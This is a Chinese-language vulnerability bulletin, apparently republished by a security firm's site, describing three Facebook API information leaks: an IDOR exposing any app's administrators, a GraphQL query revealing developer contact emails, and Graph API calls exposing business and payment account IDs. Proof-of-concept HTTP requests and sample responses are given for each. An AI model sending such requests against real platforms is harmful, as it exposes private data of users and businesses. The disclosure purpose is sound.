漏洞公告团结互助，让我们共同进步！

当前位置：主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势： 10年相关行业经验，专业设计师量身定制设计师一对一服务模式，上百家客户案例！企业保证，正规流程，正规合作 7*24小时在线服务，售后无忧

Facebook接口的三个信息泄漏：可获取任何Facebook应用程序的管理员帐户，开发人员联系邮箱和业务用户帐户ID。

文章来源：重庆网络安全围观次数：

分享到:

摘要：Facebook接口的三个信息泄漏：可获取任何Facebook应用程序的管理员帐户，开发人员联系邮箱和业务用户帐户ID。

获取任何Facebook应用程序的管理员帐户

在Facebook BusinessManager平台中，可以通过界面获取其他企业的不同网页，应用程序和相关系统资产的管理员用户列表。

该漏洞的原因是此接口具有IDOR越权漏洞，该漏洞对其没有权限限制，这可能导致其获取任何Facebook业务应用程序的管理员帐户。

Facebook企业管理平台可以帮助公司，广告代理商或营销人员在统一界面下集中管理其Facebook主页，广告帐户和付款方式，从而避免了管理人员需要不断切换界面的尴尬境地。

PoC

请求：

POST /business/aymc_assets/admins/ HTTP/1.1

Host: business.facebook.com

asset_ids[0]=TARGET_APP_ID

business_id=ATTACKER_BUSINESS_ID

响应：

{"__ar": 1, "payload": {

"assetAdmins": {

"__imm": {

"method": "Map",

"value": [

["123456789",

{"name": "fname lname",

"id": "123456789",

"iconURI": "/images/assets_DO_NOT_HARDCODE/facebook_icons/badge-admin_outline_20_fds-black.png",

"isSelected": true,

"isSelectionDisabled": false,

"secondaryInfo": "FACEBOOK APP NAME"

}],

["123456789xxN",

{"name": "Admin N",

"id": "123456789xxN",

"iconURI": "/images/assets_DO_NOT_HARDCODE/facebook_icons/badge-admin_outline_20_fds-black.png",

"isSelected": true,

"isSelectionDisabled": false,

"secondaryInfo": "FACEBOOK APP NAME"

}]]}}}}

获取任何Facebook应用程序的联系电子邮件地址

在Facebook提供的开发人员应用程序管理界面中，尽管此页面中使用的Graph API接口是安全的，但开发人员联系电子邮件字段用于在开发人员或管理员之间进行通信，通常是私人信息。但是，在请求中更改为GraphQL方法调用后，我能够获得任何Facebook应用程序开发人员的联系电子邮件。

请求：

POST /graphqlHost: graph.facebook.comq=nodes(35xxxxx28){name,contact_email}

响应：

{  "35xxxxx28": {    "name": "Facebook Application Name"    "name": "contact@company.com"  }}

获取Facebook企业用户帐户ID

该漏洞可以通过Facebook接口graph API中的应用程序节点类型获取与Facebook应用程序相关的企业帐户ID。由于企业帐户ID是公开的，因此Facebook认为这不是隐私披露问题，但是后来发现可以请求获取另一个敏感用户字段“ payment_account_id”，该字段应属于用户隐私，Facebook最终接受了漏洞。

攻击者可以使用自己的帐户access_token获取其他业务用户的帐户ID：

GET /v3.1/{application-id}/?fields=id,name,business

Host: graph.facebook.com

GET /v3.1/{business-id}/?fields=primary_page,payment_account_id

Host: graph.facebook.com

本文由重庆网络安全整理发布,转载请保留出处，内容部分来自于互联网，如有侵权请联系我们删除。

上一篇：跨站点Websocket Hijacking漏洞：劫持使用新应用程序的用户的Websocket连接，构造恶意Websocket信息，并劫持目标受害者的Facebook帐户。
下一篇：Google发布Chrome 80.0.3987.132更新，修复CVE-2020-6420等4个安全漏洞